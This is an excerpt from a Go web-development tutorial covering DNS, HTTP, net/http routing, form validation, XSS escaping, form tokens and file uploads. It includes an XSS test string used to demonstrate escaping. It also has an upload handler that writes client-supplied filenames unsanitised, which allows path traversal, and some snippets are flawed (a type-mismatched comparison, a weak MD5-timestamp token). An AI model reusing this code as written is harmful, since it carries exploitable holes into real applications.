
1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete.
2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so,

then the domain name resolution is complete.

3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative.
4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative.
5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. -If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. -If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name.

Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client.

Figure 3.3 DNS resolution work flow

`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes.

Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses.

HTTP protocol

The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works.

HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model - clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading.

The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections.

Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks.

HTTP request package (browser information)

Request packages all have three parts: request line, request header, and body. There is one blank line between header and body.

```
GET /domains/example/ HTTP/1.1      // request line: request method, URL, protocol and its version
Host：www.iana.org             // domain name
User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
      // browser information
Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8    // mime that clients can accept
Accept-Encoding：gzip,deflate,sdch     // stream compression
Accept-Charset：UTF-8,*;q=0.5      // character set in client side
// blank line
// body, request resource arguments (for example, arguments in POST)
```

We use fiddler to get the following request information.

Figure 3.4 Information of a GET request caught by fiddler

Figure 3.5 Information of a POST request caught by fiddler

We can see that GET does not have a request body, unlike POST, which does.

There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible.

HTTP response package (server information)

Let's see what information is contained in the response packages.

```
HTTP/1.1 200 OK                     // status line
Server: nginx/1.0.8                 // web server software and its version in the server machine
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT        // responded time
Content-Type: text/html             // responded data type
Transfer-Encoding: chunked          // it means data were sent in fragments
Connection: keep-alive              // keep connection
Content-Length: 90                  // length of body
// blank line
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... // message body
```

The first line is called the status line. It supplies the HTTP version, status code and status message.

The status code informs the client of the status of the HTTP server's response. In HTTP/1.1, 5 kinds of status codes were defined:

```
- 1xx Informational
- 2xx Success
- 3xx Redirection
- 4xx Client Error
- 5xx Server Error
```

Let's see more examples about response packages. 200 means server responded correctly, 302 means redirection.

Figure 3.6 Full information for visiting a website

HTTP is stateless and Connection: keep-alive

The term stateless doesn't mean that the server has no ability to keep a connection. It simply means that the server doesn't recognize any relationships between any two requests.

In HTTP/1.1, Keep-alive is used by default. If clients have additional requests, they will use the same connection for them.

Notice that Keep-alive cannot maintain one connection forever; the application running in the server determines the limit with which to keep the connection alive for, and in most cases you can configure this limit.

Request instance

Figure 3.7 All packages for opening one web page

We can see the entire communication process between client and server from the above picture. You may notice that there are many resource files in the list; these are called static files, and Go has specialized processing methods for these files.

This is the most important function of browsers: to request for a URL and retrieve data from web servers, then render the HTML. If it finds some files in the DOM such as CSS or JS files, browsers will request these resources from the server again until all the resources finish rendering on your screen.

Reducing HTTP request times is one way of improving the loading speed of web pages. By reducing the number of CSS and JS files that need to be loaded, both request latencies and pressure on your web servers can be reduced at the same time.

Links

- Directory
- Previous section: Web foundation
- Next section: Build a simple web server

3.2 Build a simple web server

We've discussed that web applications are based on the HTTP protocol, and Go provides full HTTP support in the `net/http` package. It's very easy to set a web server up using this package.

Use http package setup a web server

```
package main

import (
    "fmt"
    "net/http"
    "strings"
    "log"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  // parse arguments, you have to call this by yourself
    fmt.Println(r.Form)  // print form information in server side
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // send data to client side
}

func main() {
    http.HandleFunc("/", sayhelloName) // set router
    err := http.ListenAndServe(":9090", nil) // set listen port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}
```

After we execute the above code, the server begins listening to port 9090 in local host.

Open your browser and visit `http://localhost:9090`. You can see that `Hello astaxie` is on your screen.

Let's try another address with additional arguments: `http://localhost:9090/?url_long=111&url_long=222`

Now let's see what happens on both the client and server sides.

You should see the following information on the server side:

Figure 3.8 Server printed information

As you can see, we only need to call two functions in order to build a simple web server.

If you are working with PHP, you're probably asking whether or not we need something like Nginx or Apache. The answer is we don't, since Go listens to the TCP port by itself, and the function `sayhelloName` is the logic function just like a controller in PHP.

If you are working with Python you should know tornado, and the above example is very similar to that.

If you are working with Ruby, you may notice it is like script/server in ROR (Ruby on Rails).

We used two simple functions to setup a simple web server in this section, and this simple server already has the capacity for high concurrency operations. We will talk about how to utilize this in the next two sections.

Links

- Directory
- Previous section: Web working principles
- Next section: How Go works with web

3.3 How Go works with web

We learned to use the `net/http` package to build a simple web server in the previous section, and all those working principles are the same as those we will talk about in the first section of this chapter.

Concepts in web principles

Request: request data from users, including POST, GET, Cookie and URL.

Response: response data from server to clients.

Conn: connections between clients and servers.

Handler: Request handling logic and response generation.

http package operating mechanism

The following picture shows the work flow of a Go web server.

Figure 3.9 http work flow

1. Create a listening socket, listen to a port and wait for clients.
2. Accept requests from clients.
3. Handle requests, read HTTP header. If the request uses POST method, read data in the message body and pass them to handlers. Finally, socket returns response data to clients.

Once we know the answers to the three following questions, it's easy to know how the web works in Go.

- How do we listen to a port?
- How do we accept client requests?
- How do we allocate handlers?

In the previous section we saw that Go uses `ListenAndServe` to handle these steps: initialize a server object, call `net.Listen("tcp", addr)` to setup a TCP listener and listen to a specific address and port.

Let's take a look at the `http` package's source code.

```
//Build version go1.1.2.
func (srv *Server) Serve(l net.Listener) error {
    defer l.Close()
    var tempDelay time.Duration // how long to sleep on accept failure
    for {
        rw, e := l.Accept()
        if e != nil {
            if ne, ok := e.(net.Error); ok && ne.Temporary() {
                if tempDelay == 0 {
                    tempDelay = 5 * time.Millisecond
                } else {
                    tempDelay *= 2
                }
                if max := 1 * time.Second; tempDelay > max {
                    tempDelay = max
                }
                log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
                time.Sleep(tempDelay)
                continue
            }
            return e
        }
        tempDelay = 0
        c, err := srv.newConn(rw)
        if err != nil {
            continue
        }
        go c.serve()
    }
}
```

How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent.

How do we use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, then gets the corresponding handler: `handler := sh.srv.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, Go uses its default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used `http.HandleFunc("/", sayhelloName)`. We're using this function to register the router rule for the "/" path. When the URL is `/`, the router calls the function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling `sayhelloName` in this specific case. Finally, the server writes data and responds to clients.

Detailed work flow:

Figure 3.10 Work flow of handling an HTTP request

I think you should know how Go runs web servers now.

Links

- Directory
- Previous section: Build a simple web server
- Next section: Get into http package

3.4 Get into http package

In previous sections, we learned about the work flow of the web and talked a little bit about Go's `http` package. In this section, we are going to learn about two core functions in the `http` package: Conn and ServeMux.

goroutine in Conn

Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent.

Go uses the following code to wait for new connections from clients.

```
c, err := srv.newConn(rw)
if err != nil {
    continue
}
go c.serve()
```

As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine.

Customized ServeMux

We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler.

The struct of the default router:

```
type ServeMux struct {
    mu sync.RWMutex   // because of concurrency, we have to use a mutex here
    m  map[string]muxEntry  // router rules, every string mapping to a handler
}
```

The struct of muxEntry:

```
type muxEntry struct {
    explicit bool   // exact match or not
    h        Handler
}
```

The interface of Handler:

```
type Handler interface {
    ServeHTTP(ResponseWriter, *Request)  // routing implementer
}
```

`Handler` is an interface, but if the function `sayhelloName` didn't implement this interface, then how did we add it as handler? The answer lies in another type called `HandlerFunc` in the `http` package. We called `HandlerFunc` to define our `sayhelloName` method, so `sayhelloName` implemented `Handler` at the same time. It's like we're calling `HandlerFunc(f)`, and the function `f` is force converted to type `HandlerFunc`.

```
type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}
```

How does the router call handlers after we set the router rules?

The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls the `ServeHTTP` interface of the handlers which have implemented it.

Now, let's see how `mux.handler` works.

```
func (mux *ServeMux) handler(r *Request) Handler {
    mux.mu.RLock()
    defer mux.mu.RUnlock()

    // Host-specific pattern takes precedence over generic ones
    h := mux.match(r.Host + r.URL.Path)
    if h == nil {
        h = mux.match(r.URL.Path)
    }
    if h == nil {
        h = NotFoundHandler()
    }
    return h
}
```

The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data.

You should understand the default router's work flow by now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized routers. It's an interface of `Handler`. Therefore, any router that implements the `Handler` interface can be used.

The following example shows how to implement a simple router.

```
package main

import (
        "fmt"
        "net/http"
)

type MyMux struct {
}

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
        if r.URL.Path == "/" {
            sayhelloName(w, r)
            return
        }
        http.NotFound(w, r)
        return
}

func sayhelloName(w http.ResponseWriter, r     *http.Request) {
        fmt.Fprintf(w, "Hello myroute!")
}

func main() {
        mux := &MyMux{}
        http.ListenAndServe(":9090", mux)
}
```

Routing

If you do not want to use a Router, you can still achieve what we wrote in the above section by replacing the second argument to `ListenAndServe` to nil and registering the URLs using a `HandleFunc` function which goes through all the registered URLs to find the best match, so care must be taken about the order of the registering.

sample code:

```
http.HandleFunc("/", views.ShowAllTasksFunc)
http.HandleFunc("/complete/", views.CompleteTaskFunc)
http.HandleFunc("/delete/", views.DeleteTaskFunc)

//ShowAllTasksFunc is used to handle the "/" URL which is the default ons
//TODO add http404 error
func ShowAllTasksFunc(w http.ResponseWriter, r *http.Request) {
    if r.Method == "GET" {
        context := db.GetTasks("pending") //true when you want non deleted tasks
        //db is a package which interacts with the database
        if message != "" {
            context.Message = message
        }
        homeTemplate.Execute(w, context)
        message = ""
    } else {
        message = "Method not allowed"
        http.Redirect(w, r, "/", http.StatusFound)
          }
}
```

This is fine for simple applications which doesn't requires parameterized routing, what when you need that? You can either use the existing toolkits or frameworks, but since this book is about writing webapps in golang, we are going to teach how to handle this scenario as well.

When the match is made on the `HandleFunc` function, the URL is matched, so suppose we are writing a todo list manager and we want to delete a task so the URL we decide for that application is `/delete/1`, so we register the delete URL like this `http.HandleFunc("/delete/", views.DeleteTaskFunc)` `/delete/1` this URL matches closest with the "/delete/" URL than any other URL so in the `r.URL.path` we get the entire URL of the request.

```
http.HandleFunc("/delete/", views.DeleteTaskFunc)
//DeleteTaskFunc is used to delete a task, trash = move to recycle bin, delete = permanent delete
func DeleteTaskFunc(w http.ResponseWriter, r *http.Request) {
    if r.Method == "GET" {
        id := r.URL.Path[len("/delete/"):]
        if id == "all" {
            db.DeleteAll()
            http.Redirect(w, r, "/", http.StatusFound)
        } else {
            id, err := strconv.Atoi(id)
            if err != nil {
                fmt.Println(err)
            } else {
                    err = db.DeleteTask(id)
                    if err != nil {
                     message = "Error deleting task"
                    } else {
                    message = "Task deleted"
                    }
               http.Redirect(w, r, "/", http.StatusFound)
             }
         }
    } else {
        message = "Method not allowed"
        http.Redirect(w, r, "/", http.StatusFound)
    }
```

}

link: https://github.com/thewhitetulip/Tasks/blob/master/views/views.go#L170-#L195

In this above method what we basically do is in the function which handles the `/delete/` URL we take its compelete URL, which is `/delete/1`, then we take a slice of the string and extract everything which starts after the delete word which is the actual parameter, in this case it is `1`. Then we use the `strconv` package to convert it to an integer and delete the task with that taskID.

In more complex scenarios too we can use this method, the advantage is that we don't have to use any third party toolkit, but then again third party toolkits are useful in their own right, you need to make a decision which method you'd prefer. No answer is the right answer.

Go code execution flow

Let's take a look at the whole execution flow.

- Call `http.HandleFunc`
  1. Call HandleFunc of DefaultServeMux
  2. Call Handle of DefaultServeMux
  3. Add router rules to map[string]muxEntry of DefaultServeMux
- Call `http.ListenAndServe(":9090", nil)`
  1. Instantiate Server
  2. Call ListenAndServe method of Server
  3. Call net.Listen("tcp", addr) to listen to port
  4. Start a loop and accept requests in the loop body
  5. Instantiate a Conn and start a goroutine for every request: `go c.serve()`
  6. Read request data: `w, err := c.readRequest()`
  7. Check whether handler is empty or not, if it's empty then use DefaultServeMux
  8. Call ServeHTTP of handler
  9. Execute code in DefaultServeMux in this case
  10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)`
  11. How to choose handler: A. Check router rules for this URL B. Call ServeHTTP in that handler if there is one C. Call ServeHTTP of NotFoundHandler otherwise

Links

- Directory
- Previous section: How Go works with web
- Next section: Summary

3.5 Summary

In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the `net/http` package.

I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go.

Links

- Directory
- Previous section: Get into http package
- Next chapter: User form

4 User form

A user form is something that is very commonly used when developing web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form?

A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag `<form>` to define forms.

```
<form>
...
input elements
...
</form>
```

Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first validate the data before using it. We'll go through some examples about how to validate form data in section 4.2.

We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4.

Another common use-case for forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go.

Links

- Directory
- Previous chapter: Chapter 3 Summary
- Next section: Process form inputs

4.1 Process form inputs

Before we begin, let's take a look at a simple example of a typical user form, saved as `login.gtpl` in your project folder.

```
<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
    Username:<input type="text" name="username">
    Password:<input type="password" name="password">
    <input type="submit" value="Login">
</form>
</body>
</html>
```

This form will submit to `/login` on the server. After the user clicks the login button, the data will be sent to the `login` handler registered by the server router. Then we need to know whether it uses the POST method or GET.

This is easy to find out using the `http` package. Let's see how to handle the form data on the login page.

```
package main

import (
    "fmt"
    "html/template"
    "log"
    "net/http"
    "strings"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  //Parse url parameters passed, then parse the response packet for the POST body (request body)
    // attention: If you do not call ParseForm method, the following data can not be obtained form
    fmt.Println(r.Form) // print information on server side.
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // write data to response
}

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //get request method
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, nil)
    } else {
        r.ParseForm()
        // logic part of log in
        fmt.Println("username:", r.Form["username"])
        fmt.Println("password:", r.Form["password"])
    }
}

func main() {
    http.HandleFunc("/", sayhelloName) // setting router rule
    http.HandleFunc("/login", login)
    err := http.ListenAndServe(":9090", nil) // setting listening port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}
```

Here we use `r.Method` to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc.

In the `login` function, we use `r.Method` to check whether it's a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method.

You should see the following interface after opening `http://127.0.0.1:9090/login` in your browser.

Figure 4.1 User login interface

The server will not print anything until after we type in a username and password, because the handler doesn't parse the form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile our program and test it again. You will find that the information is printed on the server side now.

`r.Form` contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places.

Try changing the value of the action in the form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in the `login.gtpl` file, test it again, and you will see that the slice is printed on the server side.

Figure 4.2 Server prints request data

The type of `request.Form` is `url.Value`. It saves data with the format `key=value`.

```
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
```

Tips Requests have the ability to access form data using the `FormValue()` method. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and Go calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument.

Links

- Directory
- Previous section: User form
- Next section: Verification of inputs

4.2 Verification of inputs

One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to validate all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial.

There are two ways of verifying form data that are in common use. The first is JavaScript validation on the front-end, and the second is server validation on the back-end. In this section, we are going to talk about server side validation in web development.

Required fields

Sometimes we require that users input some fields but they fail to complete the field. For example in the previous section when we required a username. You can use the `len` function to get the length of a field in order to ensure that users have entered something.

```
if len(r.Form["username"][0])==0{
    // code for empty field
}
```

`r.Form` treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it's safer to use `r.Form.Get()` to get field values since it will always return empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value at a time, so you need to use `r.Form` to get the map of values.

Numbers

Sometimes you require numbers rather than other text for the field value. For example, let's say that you require the age of a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can convert the value to the `int` type first, then process it.

```
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
    // error occurs when convert to number, it may not a number
}

// check range of number
if getint >100 {
    // too big
}
```

Another way to do this is by using regular expressions.

```
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
    return false
}
```

For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses RE2, so all UTF-8 characters are supported.

Chinese

Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way.

```
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
    return false
}
```

English letters

Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification.

```
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
    return false
}
```

E-mail address

If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression:

```
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
    fmt.Println("no")
}else{
    fmt.Println("yes")
}
```

Drop down list

Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening?

Suppose we have the following `<select>`:

```
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banana">banana</option>
</select>
```

We can use the following strategy to sanitize our input:

```
slice:=[]string{"apple","pear","banana"}

for _, v := range slice {
    if v == r.Form.Get("fruit") {
        return true
    }
}
return false
```

All the functions I've shown above are in my open source project for operating on slices and maps: https://github.com/astaxie/beeku

Radio buttons

If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program throw an exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button.

```
<input type="radio" name="gender" value="1">Male
<input type="radio" name="gender" value="2">Female
```

And we use the following code to validate the input:

```
slice:=[]int{1,2}

for _, v := range slice {
    if v == r.Form.Get("gender") {
        return true
    }
}
return false
```

Check boxes

Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. You can validate these ase follows:

```
<input type="checkbox" name="interest" value="football">Football
<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis
```

In this case, the sanitization is a little bit different to validating the button and check box inputs since here we get a slice from the check boxes.

```
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
    return true
}

return false
```

Date and time

Suppose you want users to input valid dates or times. Go has the `time` package for converting year, month and day to their corresponding times. After that, it's easy to check it.

```
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
```

After you have the time, you can use the `time` package for more operations, depending on your needs.

In this section, we've discussed some common methods of validating form data on the server side. I hope that you now understand more about data validation in Go, especially how to use regular expressions to your advantage.

Links

- Directory

- Previous section: Process form inputs
- Next section: Cross site scripting

4.3 Cross site scripting

Today's websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual's behavior. Unfortunately, dynamic websites are susceptible to malicious attacks known as "Cross site scripting" (known as "XSS"). Static websites are not susceptible to Cross site scripting.

Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want.

If you wish to prevent this kind of attack, you should combine the following two approaches:

- Validation of all data from users, which we talked about in the previous section.
- Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers.

So how can we do these two things in Go? Fortunately, the `html/template` package has some useful functions to escape data as follows:

- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w.
- `func HTMLEscapeString(s string) string` returns a string after escaping from s.
- `func HTMLEscaper(args ...interface{}) string` returns a string after escaping from multiple arguments.

Let's change the example in section 4.1:

```
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients
```

If someone tries to input the username as `<script>alert()</script>`, we will see the following content in the browser:

Figure 4.3 JavaScript after escaped

Functions in the `html/template` package help you to escape all HTML tags. What if you just want to print `<script>alert()</script>` to browsers? You should use `text/template` instead.

```
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```

Output:

```
Hello, <script>alert('you have been pwned')</script>!
```

Or you can use the `template.HTML` type : Variable content will not be escaped if its type is `template.HTML`.

```
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
```

Output:

```
Hello, <script>alert('you have been pwned')</script>!
```

One more example of escaping:

```
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```

Output:

```
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
```

Links

- Directory
- Previous section: Verification of inputs
- Next section: Duplicate submissions

4.4 Duplicate submissions

I don't know if you've ever seen some blogs or BBS' that have more than one post that are exactly the same, but I can tell you that it's because users submitted duplicate post forms. There are many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. In some cases it is by the intentional actions of malicious users. It's easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it.

The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted.

Let's improve the example from section 4.2:

```
<input type="checkbox" name="interest" value="football">Football
<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis
Username:<input type="text" name="username">
Password:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="Login">
```

We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted.

```
func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) // get request method
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, token)
    } else {
        // log in request
        r.ParseForm()
        token := r.Form.Get("token")
        if token != "" {
            // check token validity
        } else {
            // give error if no token
        }
        fmt.Println("username length:", len(r.Form["username"][0]))
        fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side
        fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
        template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client
    }
}
```

Figure 4.4 The content in browser after adding a token

You can refresh this page and you will see a different token every time. This ensures that every form is unique.

For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done.

Links

- Directory
- Previous section: Cross site scripting
- Next section: File upload

4.5 File upload

Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality?

You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property:

```
application/x-www-form-urlencoded   Transcode all characters before uploading (default).
multipart/form-data   No transcoding. You must use this value when your form has file upload controls.
text/plain    Convert spaces to "+", but no transcoding for special characters.
```

Therefore, the HTML content of a file upload form should look like this:

```
<html>
<head>
       <title>Upload file</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
    <input type="file" name="uploadfile" />
    <input type="hidden" name="token" value="{{.}}"/>
    <input type="submit" value="upload" />
</form>
</body>
</html>
```

We need to add a function on the server side to handle this form.

```
http.HandleFunc("/upload", upload)

// upload logic
func upload(w http.ResponseWriter, r *http.Request) {
       fmt.Println("method:", r.Method)
       if r.Method == "GET" {
           crutime := time.Now().Unix()
           h := md5.New()
           io.WriteString(h, strconv.FormatInt(crutime, 10))
           token := fmt.Sprintf("%x", h.Sum(nil))

           t, _ := template.ParseFiles("upload.gtpl")
           t.Execute(w, token)
       } else {
           r.ParseMultipartForm(32 << 20)
           file, handler, err := r.FormFile("uploadfile")
           if err != nil {
               fmt.Println(err)
               return
           }
           defer file.Close()
           fmt.Fprintf(w, "%v", handler.Header)
           f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
           if err != nil {
               fmt.Println(err)
               return
           }
           defer f.Close()
           io.Copy(f, file)
       }
}
```

